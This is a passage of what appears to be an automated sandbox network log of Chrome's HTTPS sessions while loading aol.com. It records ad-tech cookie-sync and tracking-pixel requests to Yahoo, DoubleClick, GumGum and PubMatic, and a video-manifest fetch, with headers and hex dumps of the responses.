2024-05-23 22:35:06 UTC	790	OUT	GET /ups/58834/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; IDSYNC="19cw~2ila:19e0~2ila:18z8~2ila"
2024-05-23 22:35:06 UTC	797	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: https://www.aol.com Access-Control-Allow-Credentials: true Set-Cookie: IDSYNC="19cw~2ila:19e0~2ila:18z8~2ila:19ea~2ila";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:35:06 GMT;Secure;SameSite=None Vary: Origin P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:06 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:06 UTC	54	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 68 51 4a 4f 64 64 5a 45 32 75 4a 2e 6b 34 45 5f 41 64 46 4b 61 52 64 34 56 70 49 4c 5f 79 5f 68 7e 41 22 7d 0d 0a Data Ascii: 30{"axid": "y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A"}
2024-05-23 22:35:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
470	192.168.2.6	50289	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	804	OUT	GET /pixel?google_nid=yieldmo_dbm&google_hm=VkkzTTNZWUtLb1lTaEZqaThQOEM= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.yieldmo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
2024-05-23 22:35:06 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 23 May 2024 22:35:06 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:06 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
471	192.168.2.6	50291	54.216.114.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	476	OUT	GET /usersync?b=pln&i=7WXU1ZUhF2Kx&ev=1&gpp_sid=$&gpp=$&us_privacy=${us_privacy}&pid=558355 HTTP/1.1 Host: rtb.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:06 UTC	263	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif;charset=UTF-8 Content-Length: 35 Connection: close Server: nginx Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache Timing-Allow-Origin: *
2024-05-23 22:35:06 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
472	192.168.2.6	50285	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	861	OUT	GET /pixel?cs=8&google_nid=media&google_cm=1&google_hm=MzU5NTA1Mjk4NjQwNDczNTAwMFYxMA%3D%3D&google_sc=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
2024-05-23 22:35:06 UTC	683	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cs.media.net/cksync?type=g&cs=8&gdpr=0&gdpr_consent=&google_gid=CAESEEPGHKjwV8vQHjvJtIgKGQI&google_cver=1 Date: Thu, 23 May 2024 22:35:06 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 330 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:06 UTC	330	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 73 2e 6d 65 64 69 61 2e 6e 65 74 2f 63 6b 73 79 6e 63 3f 74 79 70 65 3d 67 26 61 6d 70 3b 63 73 3d 38 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 67 69 64 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cs.media.net/cksync?type=g&cs=8&gdpr=0&gdpr_consent=&google_gid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
473	192.168.2.6	50288	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	788	OUT	GET /pixel?google_nid=openx&google_cm&google_sc HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yahoo-bidout-d.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUl24wB7LaOrb-JA1R71gTRWma_l2a_Rk4JPr6x_KG5c9DhPyI2VNhyz4Wv0gm4
2024-05-23 22:35:06 UTC	660	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://us-u.openx.net/w/1.0/sd?id=537072991&val=CAESENisdoc4RyZrBUCCVbum6Dg&google_cver=1 Date: Thu, 23 May 2024 22:35:06 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 295 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:06 UTC	295	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 75 73 2d 75 2e 6f 70 65 6e 78 2e 6e 65 74 2f 77 2f 31 2e 30 2f 73 64 3f 69 64 3d 35 33 37 30 37 32 39 39 31 26 61 6d 70 3b 76 61 6c 3d 43 41 45 53 45 4e 69 73 64 6f 63 34 52 79 5a 72 42 55 43 43 56 62 75 6d 36 44 67 26 61 6d 70 3b 67 6f Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://us-u.openx.net/w/1.0/sd?id=537072991&val=CAESENisdoc4RyZrBUCCVbum6Dg&go

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
474	192.168.2.6	50287	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	779	OUT	GET /pixel?google_nid=rubicon&google_hm=NzU4NGI0YmE5YTNjNGFhYzFlMjcwYjRlZGRkYWQ3MjUxYTM5ZDQ1Mg&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
2024-05-23 22:35:06 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 23 May 2024 22:35:06 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:06 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
475	192.168.2.6	50290	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	1683	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzOTkmdGw9NDMyMDA%3D&piggybackCookie=7372327276449101969&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; PugT=1716503704; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35
2024-05-23 22:35:06 UTC	616	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:06 GMT; path=/ Set-Cookie: PugT=1716503706; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:06 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:06 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
476	192.168.2.6	50276	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	466	OUT	GET /usersync?b=sta&i=0-c03462dd-8d57-5ae7-6dc9-e73928abe3ee$ip$8.46.123.175 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:06 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:06 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
477	192.168.2.6	50275	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	448	OUT	GET /usersync?b=vnt&i=6a235f9e-9b26-4d12-95f6-f4919d5fecf1 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:06 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:06 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
478	192.168.2.6	50281	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	448	OUT	GET /usersync?b=opx&i=d873ee3a-8fda-4617-8655-b742b2315610 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:06 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:06 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
479	192.168.2.6	50280	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	431	OUT	GET /usersync?b=apn&i=9165965397510453586 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:06 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:06 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:06 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
480	192.168.2.6	50297	151.101.66.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:06 UTC	1124	OUT	GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/6s/master.m3u8?fastly_token=NjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:06 UTC	663	IN	HTTP/1.1 200 OK Connection: close Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Bolt-Device-Group: desktop-chrome X-Powered-By: BC X-Powered-From: gantry Date: Thu, 23 May 2024 22:35:06 GMT Via: 1.1 varnish Age: 2 X-Served-By: cache-ewr18175-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1716503707.654337,VS0,VE1 X-Device-Group: desktop-chrome transfer-encoding: chunked
2024-05-23 22:35:06 UTC	5	IN	Data Raw: 31 61 39 0d 0a Data Ascii: 1a9
2024-05-23 22:35:06 UTC	425	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 34 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 3a 54 59 50 45 3d 41 55 44 49 4f 2c 47 52 4f 55 50 2d 49 44 3d 22 61 75 64 69 6f 2d 30 22 2c 4e 41 4d 45 3d 22 65 6e 20 28 4d 61 69 6e 29 22 2c 44 45 46 41 55 4c 54 3d 59 45 53 2c 41 55 54 4f 53 45 4c 45 43 54 3d 59 45 53 2c 4c 41 4e 47 55 41 47 45 3d 22 65 6e 22 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6d 61 6e 69 66 65 73 74 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 62 39 66 63 61 32 35 39 2d 33 38 34 34 Data Ascii: #EXTM3U#EXT-X-VERSION:4#EXT-X-MEDIA:TYPE=AUDIO,GROUP-ID="audio-0",NAME="en (Main)",DEFAULT=YES,AUTOSELECT=YES,LANGUAGE="en",URI="https://manifest.prod.boltdns.net/manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844
2024-05-23 22:35:06 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
